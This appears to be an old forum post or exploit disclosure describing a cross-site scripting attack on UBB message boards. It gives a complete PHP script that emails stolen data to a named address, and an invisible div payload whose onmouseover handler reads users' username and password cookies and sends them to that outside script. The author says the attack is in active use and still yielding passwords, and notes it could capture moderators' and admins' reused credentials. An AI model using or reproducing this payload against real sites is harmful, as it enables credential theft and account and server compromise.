<------explaination    -------->
I set up a script on some server somewhere that will mail me the contents of 
"whatever" in a url query as such ->
http://somehost.com/somescript.php/cgi/pl/asp?contents="whatever"
when I have that script in place I post a message on the board that I wish 
to steal peoples passes from with(for Internet Explorer, for Netscape use 
the <layer> tag) a <div> tag in it that positions itself on a prominent part 
of the page that is likely to have someone put their mouse over it.  The 
<div> tag has the "onmouseover" javascript event handler and calls for the 
"getCookie('cookiename')" javascript function definded by the UBB output for 
the "reply" page, and it adds the contents of the unfortuneate victims user 
and pass cookies to the end of the link.  This of course would then email 
the user and pass to me whenever someone moved their mouse over the 
invisible <div> area while on the reply page. NOTE: the script does nothing 
but give a non-popup javascript error in the lower left of the browser 
screen on the thread "view" page, so no one knows whats going on and it 
looks like a normal thread.
<--------end explaination------------>
i have done this and it works, I am still recieving passwords in my mail 
box.
<***************begin actual scripts***************>
this is the php script that i use to mail me the user/pass combos:
<---------begin php file-------------->
<?php
if ($contents && $header){
mail("xavic_doute@hotmail.com" , "from mail script",$contents,$header) or 
die('couldnt email it');
sleep(2);
?>
<script language=javascript>
<!--
history.go(-1);
// -->
</script>
<?php
} else {
echo "nope";
}
?>
<--------------end php file----------->
this is what you need to include in the post on the board:
<-----------begin html+script--------->
<div 
onmouseover='top.location.href="http://somehost.net/mail.php?header=from:victim@theboard.net&contents="+getCookie("UserName")+":"+getCookie("Password");' 
position=absolute style="position:absolute;top:270px;left:0px;"><table 
width=100% height=30 border=0><tr><td> </td></tr></table></div>
<-----------end html+script----------->
<***************end actual scripts***************>

if you publish this as some sort of exploit or something keep in mind that 
even the mods and admin of the boards can have their passes stolen this way. 
  that means that if they use the same pass for the server then the servers 
security can be compromised with this(alot of people use the same passes for 
many things as im sure you know).

-Unregistered